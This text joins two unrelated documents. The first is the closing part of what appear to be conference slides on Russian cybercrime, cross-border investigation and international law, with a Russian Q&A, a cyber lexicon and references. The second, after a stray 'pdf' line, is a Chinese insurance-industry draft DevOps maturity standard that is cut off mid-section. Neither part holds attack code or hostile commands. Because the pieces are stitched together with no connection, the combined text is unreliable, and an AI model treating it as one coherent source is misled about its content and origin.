Вопрос: Что мешает улучшению международного сотрудичества? Ответ: Разные правовые нормы в действующих национальных законодательствах. Требуется их частичная унификация. Вопрос: Вы думаете было-бы трудно найти общую почву чтобы поделиться информацией? Ответ: По международным соглашениям мы без особых проблем обмениваемся разведывательной и иной информацией о преступлениях и правонарушениях со специальными службами зарубежных государств. В последнее время часто проходят совместные совещания, семинары и конференции наших сотрудников с сотрудниками FBI (USA). Вопрос: Вы думаете что боязнь утери национального суверенитета –непреодолимое препятствие? Ответ: Обмен информацией на основе двухстороннего или многостороннего Договора (юридического акта) не опасен для национального суверенитета. Спасибо за вопросы. Были рады Вам помочь. Кем (по какой специальности) Вы работаете? С уважением, Виталий Вехов Несколько Вопросов К кому я могу обратиться по поводу гарантии информации? To whom should I direct questions on information assurance? Каким образом я должен доложить о подозрительных действиях в сети? How should I send you suspicious network information? Это представляет угрозу Windows/Linux/Solaris? Does this pose a threat to Windows/Linux/Solaris? Когда последний раз вы сделали дупликаты своих данных? When is the last time you backed up your data? Вы сможете нарисовать мне диаграмму/карту вашей сети? Can you draw me a diagram of your network? Вы думаете что эта угроза была направлена лично против меня? Do you think this threat was directed at me personally? English-Russian Cyber Lexicon English Pусский Pronunciation account аккаунт, акк account banner баннер banner blog блог blog browser браузер browser сash, cache кеш сash chat чат chat domain домен domain e-mail электронная почта elektronaya pochta flame флэйм, флейм flame host, hosting хост, хостинг host, hosting java, javascript жаба, жабаскрипт zhaba, zhabascript hacker хакер, хэкер hacker Internet интернет internet English Pусский Pronunciation login логин logeen nick ник neek patch патч patch programme программа, прога programa, proga screenshot скриншот screenshot server сервер server site сайт site spam спам spam tools тулза toolza user юзер user warez варез vaarez web веб veb zip зип zeep English-Russian Cyber Lexicon One Word English, German, Italian, Portuguese, and Norwegian: Hacker Russian: хакер Dutch: De computerkraker, hakker Arabic: El Qursan (‘Pirate’) Hebrew:רקאה Chinese: 电脑黑客 Spanish: pirata informático Korean: 해커 Japanese: ハッカー Greek: χάκερ French: Fouineur, bidouilleur Local Cyber News • Reading the local newspapers – http://www.gazeta.ru – http://www.lenta.ru – http://www.kommersant.ru – http://www.itogi.ru – http://www.izvestia.ru – http://www.mn.ru – http://www.mk.ru – “…Putin keen to set up IT park…efforts underway to identify site…potential for much cooperation with India…” www.antispam.ru Kaspersky Labs • The most “hated” man by Russian hackers • Former Soviet military researcher • 15+ years anti-virus and spyware R&D • Accuracy and frequency of updates well-regarded – Hourly! • “Criminal elements” now write 90% of malware • Says more cyber crime from Brazil than Russia • Alleged connections to law enforcement The International Political Scene International Law Enforcement Links at Cyber Criminals Most Wanted Website (www.ccmostwanted.com) for 67 countries (* = cybercrime laws in place): Andorra, Argentina*, Australia*, Austria*, Belgium*, Brazil*, Brunei, Canada*, Chile*, China*, Czech Republic*, Denmark*, Fiji, Finland*, France*, Georgia, Germany*, Greece*, Guam, Hong Kong, Hungary*, Iceland*, India*, Indonesia, Iran, Ireland*, Israel*, Italy*, Jamaica, Japan*, Jordan, Korea - North*, Korea - South*, Latvia*, Lebanon, Liechtenstein, Luxembourg*, Malaysia*, Malta*, Mexico*, Netherlands*, Nigeria, New Zealand*, Norway*, Pakistan, Peru, Philippines*, Poland*, Portugal*, Puerto Rico, Russia*, Singapore*, Scotland, Slovenia, South Africa*, Spain*, Sweden*, Switzerland*, Taiwan, Thailand, Trinidad, Turkey*, Uganda, Ukraine, United Kingdom*, United States*, Uruguay, Yugoslavia Links to UK websites include: Child Pornography Consumer Protection Cramming Cyber Rights & Civil Liberties Financial Services Authority Harmful or illegal website content Internet Police Internet Watch Foundation Missing Kids National Crime Squad Specialist Crime OCU Fraud Squad National Criminal Intelligence Service National High-Tech Crime Unit Nigerian Scams Pedophile Activity - Newsgroup Pedophile Activity - Website Pyramid Schemes Serious Fraud Office Victim Support International Law • Currently ill-suited for cybercrime • Internet a borderless medium – Cannot apply nation-state style borders • Definitions of cybercrime vary – Likewise the punishments • Extradition of criminals – Difficult on many levels • Bounty hunting: Microsoft • Tapping fan-base: Half-Life 2 Extra-Territoriality and Investigations • Impossible to examine all foreign packets • High level of anonymity on the Web • Scarcity of good log data (and expertise) • Digital information can be destroyed quickly • Evidence should be secured ASAP • Cultural, linguistic, and political barriers • Traceback involves time lags The FBI Sting • 2000: FBI learns hackers cracking banks, ISPs, and other firms in U.S. • Activity traced to Russia • Failed to acquire Russian assistance • Took unilateral action with U.S. search warrant • Invited two Russians to Seattle for “interviews” • Sniffed keystrokes for usernames/passwords • FBI officials never left their offices in U.S. • First FBI extra-territorial seizure Remote Search and Seizure • Inconsistent with international law? • Reconnaissance often uses universal media for observation in other countries – Binoculars, telescopes, surveillance aircraft, commercial satellites – personal interviews, mass media • Network reconnaissance any different? – No physical entry • Invasion or picture taking? European Cybercrime Convention • Global cybercrime task force like Interpol? • Opposition concerns: – Civil liberties (abuse of data sharing) – Poor relations between certain countries – Big obligations on ISPs – No cross-border searches, even in hot pursuit – Need to consult with local officials – Universal consent (safe havens) International Law: The Future • Technological capability • Legal authority – Territorial Sovereignty • Willingness to Cooperate – Including ability: language, cultural political barriers Voluntary participants need three things: • PRC CERT: One person, and he only speaks Chinese?!? Спасибо ARTWORK by Len Gostinsky: [email protected] Kenneth Geers CISSP DEFCON 13 References Aleph One. “Smashing The Stack For Fun And Profit.” Phrack 49, Volume Seven, Issue Forty-Nine, File 14 of 16. Available: http://www.insecure.org/stf/smashstack.txt. Banisar, David. “Cybercrime treaty still horrible.” SecurityFocus. December 14, 2000 8:00PM. Available: http://www.securityfocus.com/news/124. Billo, Charles and Welton Chang. Cyber Warfare: An Analysis of The Means And Motivations of Selected Nation States. Institute For Security Technology Studies, Dartmouth College. Revised. December 2004. Blau, John. “Viruses: From Russia, With Love?” IDG News Service, Friday, May 28, 2004. Available: http://www.pcworld.com/news/article/0,aid,116304,pg,2,00.asp Brunker, Mike. "FBI agent charged with hacking, Russia alleges agent broke law by downloading evidence." MSNBC. August 15, 2004. Available: http://www.msnbc.com/news/563379.asp?cp1=1. Delio, Michelle. “Inside Russia's Hacking Culture.” March 12, 2001. Available: http://www.wired.com/news/culture/0,1284,42346,00.html. Federal Bureau of Investigation. “FBI Says Web ‘Spoofing’ Scams are a Growing Problem.” Press Release. July 21, 2003. Available: http://www.fbi.gov/pressrel/pressrel03/spoofing072103.htm. Freeh, Louis J. "Before 9/11 -- and After." Op-Ed. Wall Street Journal. April 12, 2004. Available: http://ctstudies.com/Document/Freeh_WSJ_OPED_12APR04.html. Gebhardt, Bruce. Deputy Director, FBI . Speech to the International Security Management Association, Scottsdale, Arizona, January 12, 2004. Available: http://www.fbi.gov/pressrel/speeches/gebhardt011204.htm. Goldsmith, Jack. “The Internet and the Legitimacy of Remote Cross-Border Searches.” Public Law And Legal Theory Working Paper No. 16, The Law School, University of Chicago. Available: http://www.law.uchicago.edu/academics/publiclaw/resources/16.JG.Internet.pdf. Ilett, Dan: "Russia's cybercrime-fighting Bond villain," ZDNet UK. January 13, 2005. Available: http://www.zdnet.com.au/insight/security/0,39023764,39177092,00.htm. "Key-loggers rip off eBay users." ContractorUK. January 18, 2005. Available: http://www.contractoruk.com/news/001903.html. Kvarnström, Håkan. “Attitudes toward computer hacking in Russia.” Lecture notes in Information Warfare in CyberCrime, September 3, 2001. Available: http://www.cs.kau.se/~stefan/IW/CC_4-5.pdf. Legelis, Kim. “Combating Online Fraud: An Update.” Symantec Corporation. Available: http://information- integrity.com/article.cfm?articleid=100. Leyden, John. “Chinese puzzle hampers banks' phishing fight.” The Register. November 3, 2004, 8:58AM. Available: http://www.securityfocus.com/news/9849. Leyden, John. “Four charged in landmark UK phishing case.” The Register. October 15, 2004 7:54AM. Available: http://www.securityfocus.com/news/9731. Leyden, John. “Gone Phishin',” The Register. October 30, 2003, 8:36AM. Available: http://www.securityfocus.com/news/7331. Leyden, John. “IE patch 'imminent'.” The Register. July 30, 2004, 7:41AM. Available: http://www.securityfocus.com/news/9245. Leyden, John. “US credit card firm fights DDoS attack.” The Register. September 23, 2004, 8:00AM. Available: http://www.securityfocus.com/news/9570. Mosnews. “Russian Anti-Virus Maker Kaspersky Lab Launches into U.S. Market.” (Feb 2, 2005) Available: http://www.mosnews.com/money/2005/02/08/kaspersky.shtml. “Most Web Users Safe As Major Net Attack Slows.” Available: Available: http://www.crn.com/sections/breakingnews/dailyarchives.jhtml?articleId=22102320. O'Flynn, Kevin. “Canadian Helps Bust Bride Scam.” March 5, 2005. Available: http://www.themoscowtimes.com/stories/2005/03/05/012.html Orlowski, Andrew. “Elcomsoft not guilty - DoJ retreats from Moscow.” The Register. December 18, 2002 6:51AM. Available: http://www.securityfocus.com/news/1867. Poulsen, Kevin. "Spy suspect had skillz.” SecurityFocus. February 22, 2001. Available: http://www.securityfocus.com/news/157. Rocich.ru. “Картирование Рунета.” Available: http://rocich.ru/article/5. "Rostelecom," Russia Today: Business and Economy. Available: http://www.russiatoday.ru/en/biz/business/lead_com/3181.html. Russian Apache. Available: http://www.web.ru/Resource/. Saytarly, Timofey. "Russia: cyber crime doubled in 2003." Computer Crime Research Center. January 30, 2004. Available: http://www.crime-research.org/news/2004/01/Mess3004.html. Sherriff, Lucy. “Spam villains: named and shamed.” The Register. February 27, 2004, 8:21AM. Available: http://www.securityfocus.com/news/8143. Srinivasan, Arun. “Combating Cyberterrorism: How to avoid the scourge of a denial-of-service (DOS) attack.” Line 56. February 01, 2005. Available: http://www.line56.com/articles/default.asp?ArticleID=6315. Srinivasan, Arun. “Combating Cyberterrorism: How to avoid the scourge of a denial-of-service (DOS) attack.” Line 56. February 01, 2005. Available: http://www.line56.com/articles/default.asp?ArticleID=6315. "The Internet in Russia." The Public Opinion Foundation Database. 7th Release, Spring 2004. Available: http://bd.english.fom.ru/report/map/eo040701. U.S. Congress. Senate Committee on Appropriations. “Cybercrime.” Testimony by Louis J. Freeh, Director, FBI. February 16, 2000. U.S. Congress. Senate Judiciary Committee and House Judiciary Committee. "Cybercrime." al Testimony by Michael A. Vatis, Director, National Infrastructure Protection Center, FBI. February 29, 2000. U.S. Congress. Senate Judiciary Committee. "Cybercrime." Testimony by Louis J. Freeh, Director, FBI. March 28, 2000. U.S. Congress. Senate Judiciary Committee. "NIPC Cyber Threat Assessment, October 1999." Testimony by Michael A. Vatis, Director, National Infrastructure Protection Center, FBI. October 6, 1999. U.S. Department of Justice. "Defendant Indicted in Connection with Operating Illegal Internet Software Piracy Group." Press Release. March 12, 2003. Available: http://www.cybercrime.gov/griffithsIndict.htm. U.S. Department of Justice. "Russian National Enters into Agreement with the United States on First Digital Millennium Copyright Act Case." Press Release. December 13, 2001. Available: http://www.cybercrime.gov/sklyarovAgree.htm. U.S. Department of Justice. “First Indictment Under Digital Millennium Copyright Act Returned Against Russian National, Company, in San Jose, California.” August 28, 2001. Available: http://www.cybercrime.gov/Sklyarovindictment.htm. U.S. Department of Justice. “Operation Buccaneer: Illegal ‘warez’ organizations and Internet piracy.” Last updated July 19, 2002. Available: http://www.cybercrime.gov/ob/OBorg&pr.htm. U.S. Department of Justice. “Valley Man Indicted in International Software Piracy Scheme.” Press Release. November 26, 2003. Available: http://www.cybercrime.gov/stjohnIndict.htm. "Volga to Ganga.” The Times of India. January 28, 2005. Available: http://timesofindia.indiatimes.com/articleshow/1002829.cms. Справочная служба русского языка. Available: http://www.rusyaz.ru/is/ns/.
pdf
T /IA C 中 国 保 险 行 业 协 会 团 体 标 准 T/IAC XXXXX—2018 201X-XX-XX 发布 XXXX - XX - XX 实施 201X-XX-XX 印发 ICS 35.100.05, 35.240.40 L79, A11 保险行业研发运营一体化成熟度模型 DevOps maturity model for Internet application in insurance industry (征求意见稿) 中国保险行业协会 发 布 T/IAC XXXXX—201X I 目 次 前言 ...................................................................... II 引言 ..................................................................... III 1 范围 ............................................................................... 1 2 规范性引用文件 ..................................................................... 1 3 术语和定义 ......................................................................... 1 4 面向保险行业的研发运营一体化流程 ................................................... 2 5 面向保险行业的研发运营一体化成熟度等级划分 ......................................... 2 6 敏捷开发过程能力要求 ............................................................... 3 7 持续交付过程能力要求 ............................................................... 6 8 技术运营过程能力要求 .............................................................. 10 9 系统和工具能力要求 ................................................................ 15 T/IAC XXXXX—201X II 前 言 本标准按照GB/T 1.1-2009给出的规则起草 本标准由中国保险行业协会提出并归口 本标准起草单位:中国信息通信研究院,中国太平洋保险(集团)股份有限公司,中国人寿保险股 份有限公司数据中心,中国人民财产保险股份有限公司,安心财产保险有限责任公司,中国再保险(集 团)股份有限公司,阳光保险集团股份有限公司,华为技术有限公司,深圳市腾讯计算机系统有限公司, 北京优帆科技有限公司,云栈科技(北京)有限公司,杭州数梦工场科技有限公司,北京易捷思达科技 发展有限公司 本标准起草人: T/IAC XXXXX—201X III 引 言 研发运营一体化(DevOps)在软件的研发和交付过程中,将需求、开发、测试、部署和运营有效的 统一,实现敏捷开发、持续交付和技术运营的集成。为了保证保险企业在构建时通过使用研发运营一体 化,能够提高IT效能,在保证系统运行稳定的同时,快速交付高质量软件,本标准对保险行业研发运营 一体化成熟度模型从敏捷开发、持续交付、技术运营、系统与工具四方面做出定义。 T/IAC XXXXX—201X 1 保险行业研发运营一体化成熟度模型 1 范围 本标准规定了保险行业研发运营一体化成熟度模型,包括敏捷开发、持续交付、技术运营、系统与 工具四部分。 本标准适用于为保险行业云服务科技公司或保险业科技部门建设和实施研发运营一体化的过程中 提供规范。 2 规范性引用文件 下列文件对于本文件的应用是必不可少的。凡是注日期的引用文件,仅所注日期的版本适用于本文 件。凡是不注日期的引用文件,其最新版本(包括所有的修改单)适用于本文件。 GB/T 32400-2015 信息技术 云计算 概览与词汇 YD/T 1753-2018 研发运营一体化(DevOps)能力成熟度模型 第 1 部分:总体架构 YD/T 1754-2018 研发运营一体化(DevOps)能力成熟度模型 第 2 部分:敏捷开发管理 YD/T 1755-2018 研发运营一体化(DevOps)能力成熟度模型 第 3 部分:持续交付 YD/T 1756-2018 研发运营一体化(DevOps)能力成熟度模型 第 4 部分:技术运营管理 YD/T 1757-2018 研发运营一体化(DevOps)能力成熟度模型 第 5 部分:系统和工具 互联网保险业务监管办法(保监发〔2015〕69 号) 3 术语和定义 下列术语和定义适用于本文件。 3.1 部署流水线 deployment pipeline 指软件从版本控制库到用户手中这一过程的自动化表现形式。 [YD/T 1755-2018,定义3.4] 3.2 用户故事 user story 从用户的角度描述用户期望得到的功能。 [YD/T 1754-2018,定义3.1] 3.3 用户故事地图 user story mapping 将用户故事按一定顺序和优先级排列以分析与识别最小可行产品。 T/IAC XXXXX—201X 2 [YD/T 1754-2018,定义3.2] 3.4 配置项 configuration item 即纳入配置管理范畴的工作成果,是保存系统和项目的相关配置。 [YD/T 1755-2018,定义3.1] 4 面向保险行业的研发运营一体化流程 研发运营一体化(DevOps)过程见图1,主要包括以下流程: ——敏捷开发:随着保险行业新渠道、新业务的迅速推出和发展,敏捷开发IT架构对保险行业的销 售、决策、管理等方面起着越来越大的作用。敏捷开发是一种应对快速变化的市场和技术环境 的软件开发方法。强调价值交付过程中各类角色之间的紧密协作,主张演进式的规划和开发方 式、持续和尽早的交付。 ——持续交付:通过保险行业的项目流程管理、自动化的重复部署验证等手段来保证各项变更安全、 快速、高质量地落实到生产环境或用户手中,缩短软件发布周期,降低交付风险。 ——技术运营:保险行业应以业务为中心,交付稳定、安全、高效的技术运营服务。 图1 研发运营一体化流程 5 面向保险行业的研发运营一体化成熟度等级划分 面向保险行业的研发运营一体化成熟度模型分为3个等级,包括基础级、增强级和先进级,如表1 所示。每个级别按照不同程度说明,高级别内容宜包含低级别内容,无需重复引用。 T/IAC XXXXX—201X 3 表1 研发运营一体化成熟度等级划分 基础级 在企业内较大范围地推行DevOps并获得一定效率提升。 增强级 在企业内全面推行DevOps并在软件生命周期内获得整体效率提升。 先进级 在企业内全面落地DevOps并可达到整体效率最优化。 6 敏捷开发过程能力要求 6.1 价值交付管理 主要包括需求工件和需求活动两部分内容,体现需求管理过程中的分析、测试和验收三个阶段。 6.1.1 需求工件 对照表 2 给定的需求工件能力成熟度分级规则,确定需求工件能力成熟度级别。 表2 需求工件 基础级 增强级 先进级 需求内容和形式 ——进行需求分析并形成 用户故事。 ——用户故事应满足:用户 故事可协商和细化;规模可 以在一次发布周期内完成; 区分优先级。 同上一级 用户故事满足 INVEST 标 准: ——独立完整性。 ——可协商和细化的。 ——有业务价值,能够进行 价值评估。 ——能评估工作量和优先 级。 ——足够小。 ——可测试。 同上一级 具有挖掘和分析需求价值 的敏捷活动。 需求测试用例编写 建立测试用例与用户故事 的关联,测试用例在需求分 析结束、设计阶段完成。 同上一级 同上一级 测试和开发并行工作,形成 测试用例。 需求测试用例验证 测试用例全部通过验证。 同上一级 使用工具自动执行部分测 试用例。 同上一级 需求测试用例管理 测试用例无法重用。 能够对测试用例管理 同上一级 ——支持图形化的测试用 例管理。 ——建立企业级可视化便 捷的平台,管理包含测试用 例的需求文档,可以通过需 求文档查看产品的全貌。 T/IAC XXXXX—201X 4 6.1.2 需求活动 对照表 3 给定的需求活动能力成熟度分级规则,确定需求活动能力成熟度级别。 表3 需求活动 基础级 增强级 先进级 需求分析 具有需求变更流程。 同上一级 团队中各个角色可共同对 用户故事细化。 同上一级 具有改进需求分析协作的 机制。 需求验收 ——验收频率:每次交付都 有验收。 ——验收范围:产品经理在 每次交付时对交付成果进 行验收。 ——反馈效率:能够把结果 反馈给开发团队。 ——验收频率:有稳定的交 付,每次交付都有验收。 ——验收范围:产品经理、 最终用户代表在每次交付 时对交付成果进行验收。 ——反馈效率:能够把结果 快速反馈给开发团队。 同上一级 ——验收范围:通过原型确 认、AB 测试、灰度测试等 方法进行验收测试。 ——反馈效率:能够快速响 应用户反馈,建立企业级数 据分析工具,分析用户行为 数据。 6.2 敏捷过程管理 6.2.1 价值流 价值流是指产品经理、研发团队在软件研发过程中将软件产品转化为业务价值的能力,包括按照用 户故事地图按需交付可用的软件,交付的软件能准确反映需求提出者的诉求,软件质量、用户体验能让 使用者满意,软件研发过程中应具备将软件产品转化为业务价值的能力。对照表 4 给定的价值流能力成 熟度分级规则,确定价值流能力成熟度级别。 表4 价值流 基础级 增强级 先进级 交付 ——产品经理、研发团队 采用敏捷的方法提升交付 价值。 ——约定软件质量指标。 ——有交付验收测试流 程。 同上一级 ——具有稳定的交付节 奏。 ——软件质量指标包括业 务价值评估指标、业务准 确性指标等。 同上一级 ——具有产品级回顾改进 机制。 价值流 具有交付式管理模式。 同上一级 ——通过工具支撑计划安 排活动,支持任务间和团 队间的依赖管理。 同上一级 ——能够可视化交付速度 等指标。 6.2.2 会议活动 T/IAC XXXXX—201X 5 会议活动能够可视化的管理价值流动,控制流动节奏,建立反馈机制,不断提升交付效率。对照表 5 给定的会议活动能力成熟度分级规则,确定会议活动能力成熟度级别。 表5 会议活动 基础级 增强级 先进级 交付计划 针对需求分析、开发、测试、 发布等不同阶段制定产品 计划。 同上一级 ——团队围绕交付价值共 同制定产品需求计划。 同上一级 ——能够灵活规划,不断改 进。 交付活动 开展计划、评审会议,以快 速有效的交付业务价值。 同上一级 ——具备措施减少变更带 来的影响。 同上一级 人员组织 明确产品经理、敏捷教练、 团队三类角色。 同上一级 ——建立特性团队。 同上一级 ——采用扁平化的敏捷团 队组织架构。 6.3 敏捷组织模式 6.3.1 敏捷角色 敏捷角色应以价值交付为目标,持续提升交付效率。对照表 6 给定的敏捷角色能力成熟度分级规则, 确定敏捷角色能力成熟度级别。 表6 敏捷角色 基础级 增强级 先进级 敏捷角色 ——不同角色具有明确分 工。 ——每个角色具有专一的 专业技术能力。 ——每个角色关注自身的 工作。 同上一级 ——具有敏捷教练的角色。 ——每个角色在完成自己 身工作的同时,能够快速变 更角色。 ——团队能关注整体交付 进度。 同上一级 ——没有敏捷教练的情况 下团队依然能够有效运转。 ——团队成员能力趋于多 样化,每个成员有强项,具 备跨功能或角色的能力。 ——协作模式可形成借鉴 或推广的经验积累。 6.3.2 团队结构 团队结构是以价值交付的最小实现单元构建最小化的功能团队。对照表 7 给定的团队结构能力成熟 度分级规则,确定团队结构能力成熟度级别。 表7 团队结构 基础级 增强级 先进级 团队结构 ——团队足够小,10 以下。 ——具有一致的约定。 同上一级 ——组建特性团队。 同上一级 ——能够持续提升团队。 T/IAC XXXXX—201X 6 7 持续交付过程能力要求 7.1 配置管理 7.1.1 版本控制管理 对照表 8 给定的版本控制管理能力成熟度分级规则,确定版本控制管理能力成熟度级别。 表8 版本控制管理 基础级 增强级 先进级 版本控制 ——具有版本控制系统。 ——支持分支管理。 ——使用制品库管理构建 产物。 同上一级 ——将配置文件、构建和部 署等自动化脚本纳入版本 控制系统。 ——分支频繁地向主干合 并。 ——所有交付制品纳入制 品库管理。 同上一级 ——将软件生命周期的所 有配置纳入版本控制系统 管理。 ——持续优化的分支管理 机制。 ——持续交付的制品管理 机制。 7.1.2 配置变更管理 对照表 9 给定的配置变更管理能力成熟度分级规则,确定配置变更管理能力成熟度级别。 表9 配置变更管理 基础级 增强级 先进级 变更管理 ——记录代码变更信息。 ——对重点变更进行评审。 ——具有清晰的版本号规 则。 ——手工回滚。 同上一级 ——所有配置项变更由变 更系统触发。 ——每次变更都进行评审。 ——版本控制系统和变更 管理系统自动化关联。 ——自动化回滚。 同上一级 ——可视化变更生命周期。 ——变更分级评审机制。 ——各个环节变更信息可 追溯。 7.2 构建与持续集成 7.2.1 构建 构建指通过构建工具将软件代码转为可执行程序的过程。对照表10给定的构建能力成熟度分级规则, 确定能力成熟度级别。 表10 构建 基础级 增强级 先进级 构建 ——通过脚本自动化构建。 同上一级 同上一级 T/IAC XXXXX—201X 7 ——有独立的构建服务器。 ——每日自动构建。 ——构建环境和工具由专 人负责维护。 ——结构化的构建脚本。 ——构建环境配置标准化, 有独立的构建资源池。 ——定期自动构建,明确构 建计划和规则。 ——构建环境和工具由细 分的团队人员负责维护。 ——构建方式服务化。 ——构建资源动态弹性按 需分配与回收。 ——按需制定构建计划。 ——构建能力赋予全部团 队成员。 7.2.2 持续集成 持续集成是软件工程领域中的一种最佳实践,即鼓励研发人员频繁的向主干分支提交代码,频率为 至少每天一次。每次提交都触发完整的编译构建和自动化测试流程,缩短反馈周期,及时修复问题,从 而保证软件代码质量,减少大规模代码合并的冲突和问题,软件可按照指定时间发布。对照表11给定的 持续集成能力成熟度分级规则,确定持续集成能力成熟度级别。 表11 持续集成 基础级 增强级 先进级 持续集成 ——统一的持续集成服务。 ——几天或几周集成一次。 ——代码集成作为软件交 付中的一个独立阶段。 ——集成问题反馈和解决 周期以天计算。 同上一级 ——专门的持续集成团队。 ——至少每天集成一次。 ——集成问题反馈和解决 在几个小时内完成。 同上一级 ——持续优化和改进团队 持续集成服务。 ——每天多次集成的能力。 ——集成问题反馈和解决 在半个小时内完成。 7.3 测试管理 7.3.1 测试分层策略 对照表 12 给定的测试分层策略能力成熟度分级规则,确定测试分层策略能力成熟度级别。 表12 测试分层策略 基础级 增强级 先进级 测试分层策略: ——已建立分层策略。 同上一级 ——测试设计以对接口/服 务级测试为主。 同上一级 ——测试设计以对代码级 测试为主。 7.3.2 代码质量管理 在代码变更后,应对代码质量进行检查、分析,并针对问题给出改进建议。对照表 13 给定的代码 质量管理能力成熟度分级规则,确定代码质量管理能力成熟度级别。 表13 代码质量管理 T/IAC XXXXX—201X 8 基础级 增强级 先进级 代码质量管理 ——已建立团队级代码质 量规约。覆盖部分代码质量 指标,如代码规范、错误复 杂度等。 ——采用自动化结合手工 方式进行代码质量检查。 ——对代码质量检查结果 给出反馈,只处理部分检查 结果。 ——已建立组织级代码质 量规约。将安全漏洞检查、 合规检查纳入规约。 ——采用完全自动化的方 式进行代码质量检查。 ——对代码质量检查结果 及时处理。 ——建立公司级代码质量 规约。定期对规约进行优 化。 ——具备企业级代码质量 管理平台,以服务的形式提 供对代码质量的检查分析。 ——对代码质量数据进行 统一管理,可有效追溯代码 质量。 7.3.3 自动化测试 对照表 14 给定的自动化测试能力成熟度分级规则,确定自动化测试能力成熟度级别。 表14 自动化测试 基础级 增强级 先进级 自动化测试 ——对业务级的 UI 测试进 行自动化设计。 ——专人统一管理自动化 测试脚本与工具。 ——支持自动化执行。 ——具备一定的自动化分 析能力。 ——对接口/服务和代码级 测试进行自动化设计。 ——具有统一的自动化测 试框架。 ——自动化测试由流水线 自动化触发。 ——具有较强的自动分析 能力。 ——对性能、稳定性、安全 性等非功能性测试进行自 动化测试。 ——建立自动化测试自服 务平台。 ——定期验证自动化执行 策略并持续优化。 ——对自动化测试结果智 能分析。 7.4 发布管理 7.4.1 部署模式 对照表 15 给定的部署模式能力成熟度分级规则,确定部署模式能力成熟度级别。 表15 部署模式 基础级 增强级 先进级 部署模式 ——运维人员通过自动化 脚本实现部署。 ——流程文档标准化。 ——以周为单位定期部署。 ——部署失败率中等。 ——部署和发布全自动化。 ——使用相同的过程和工 具完成所有环境部署。 ——以天为单位定期部署。 ——部署失败率中低。 ——持续化的部署发布模 式和工具系统平台。 ——每次变更都触发自动 化部署。 ——可进行安全可靠地部 署与发布。 ——具有持续监控体系,出 现问题自动回滚。 T/IAC XXXXX—201X 9 7.4.2 部署流水线 部署流水线应将复杂的交付流程分割为多个阶段,每个阶段层层递进,快速反馈。对照表 16 给定 的部署流水线能力成熟度分级规则,确定部署流水线能力成熟度级别。 表16 部署流水线 基础级 增强级 先进级 部署流水线 ——具有完整的交付过程 和规范。 ——交付环节自动化。 ——交付过程可追溯。 同上一级 ——交付仅在必要环节进 行手工确认。 ——团队内共享度量指标。 同上一级 ——团队间依赖解耦,可独 立完全的自主部署交付。 ——持续部署流水线驱动 持续改进。 ——部署流水线信息可进 行数据价值挖掘。 7.5 环境管理 环境管理以最小的代价确保一致性。对照表 17 给定的环境管理能力成熟度分级规则,确定环境管 理能力成熟度级别。 表17 环境管理 基础级 增强级 先进级 环境管理 ——建立生产环境、功能测 试环境。 ——环境构建通过自动化 来完成,准备时间以天为单 位。 ——通过配置管理工具实 现操作系统级别的依赖管 理。 同上一级 ——标准的研发环境。 ——环境构建通过自服务 的资源交付平台来完成,环 境准备时间以小时为单位。 ——有服务级依赖的管理 配置能力。 同上一级 ——建立全面的测试与灰 度环境。 ——环境构建可以通过容 器化快速交付,环境准备时 间以分钟级为单位。 ——环境和依赖配置管理 实现代码化描述,可以做到 实例级的动态配置管理能 力,根据业务和应用架构弹 性变化。 7.6 测试数据管理 对照表 18 给定的测试数据管理能力成熟度分级规则,确定测试数据管理能力成熟度级别。 表18 测试数据管理 基础级 增强级 先进级 数据管理 ——导出部分生产环境数 同上一级 同上一级 T/IAC XXXXX—201X 10 据形成基准的测试数据 集。 ——测试数据覆盖正常类 型、错误类型、边界类型 等。 ——测试数据具有明确的 备份恢复机制。 ——对从生产环境导出的 数据进行漂白。 ——覆盖全部测试分层策 略要求的测试类型。 ——测试用例的执行不依 赖其他测试用例执行所产 生的数据。 ——所有数据可通过模 拟、调用 API 的方式自动 生成。 ——持续优化的持续数据 管理方式和策略。 ——对测试数据分级。 7.7 度量与反馈 对照表 19 给定的度量与反馈能力成熟度分级规则,确定度量与反馈能力成熟度级别。 表19 度量与反馈 基础级 增强级 先进级 度量指标 ——持续交付的各个阶段 定义度量指标。 ——度量指标以结果指标 为主。 ——度量数据采用抽样方 法收集。 同上一级 ——建立跨组织的度量指 标。 ——度量指标覆盖过程指 标。 ——持续收集度量数据。 ——度量指标按需求定期 更新。 同上一级 ——持续优化的度量指 标。 ——度量指标覆盖探索性 指标。 ——对历史度量数据进行 数据分析。 ——度量指标可基于大数 据分析和人工智能自动识 别和推荐动态调整指标优 先级。 8 技术运营过程能力要求 8.1 监控管理 能够对研发运营过程中的对象进行数据采集、处理、分析、异常识别与通知等操作。 8.1.1 指标采集 对照表20给定的指纹采集能力成熟度分级规则,确定指纹采集能力成熟度级别。 表20 指纹采集 基础级 增强级 先进级 指标采集 ——支持对主机、网络、中 间件、业务应用的监控。 ——具有完善的主动采集 插件和任务框架。 ——业务应用的监控数据 误差小于 1%。 同上一级 同上一级 T/IAC XXXXX—201X 11 ——具备秒级上报的实时 性。 8.1.2 监控数据处理 对照表21给定的监控数据处理能力成熟度分级规则,确定监控数据处理能力成熟度级别。 表21 监控数据处理 基础级 增强级 先进级 监控数据处理 ——在单机上部署少量程 序对小量的数据加工处 理。 ——对监控数据建立关系 模型存储。 ——应用于特定领域的监 控场景。 同上一级 ——在中小型集群上部署 数据处理程序。 ——抽象监控数据模型。 ——应用于复杂的领域监 控场景。 同上一级 ——在通用的分布式流处 理集群对多种类型的海量 数据进行加工处理。 ——抽象多维数据模型。 ——应用于复杂领域的精 细化监控场景。 8.1.3 异常识别 对照表22给定的异常识别能力成熟度分级规则,确定异常识别能力成熟度级别。 表22 异常识别 基础级 增强级 先进级 异常识别 ——通过阈值识别异常 点。 ——对异常事件按时间、 告警对象等维度进行告警 合并。 ——告警延迟在 3 分钟 内。 同上一级 ——集中聚合多个待检测 指标进行异常识别。 同上一级 ——采用指标分级方法对 重点指标进行异常识别。 8.1.4 监控可视化和通知 对照表23给定的监控可视化和通知能力成熟度分级规则,确定监控可视化和通知能力成熟度级别。 表23 监控可视化和通知 基础级 增强级 先进级 监控可视化及通知 ——短期内恢复的异常,能 够自动消除告警。 ——短信、邮件等方式通知 告警。 ——能够按照告警项、级 别、时间等维度生成报表。 同上一级 ——有自动化脚本收集告 警信息。 同上一级 ——能够展示调用链各个 环节的异常情况。 ——有预处理脚本或工具, 能针对告警、性能进行处 理,处理完毕后能自动消除 T/IAC XXXXX—201X 12 告警 ——能够自动生成报表。 8.2 事件管理 8.2.1 事件发现 对照表 24 给定的事件发现能力成熟度分级规则,确定事件发现能力成熟度级别。 表24 事件发现 基础级 增强级 先进级 事件发现 ——建立统一的服务台受 理事件。 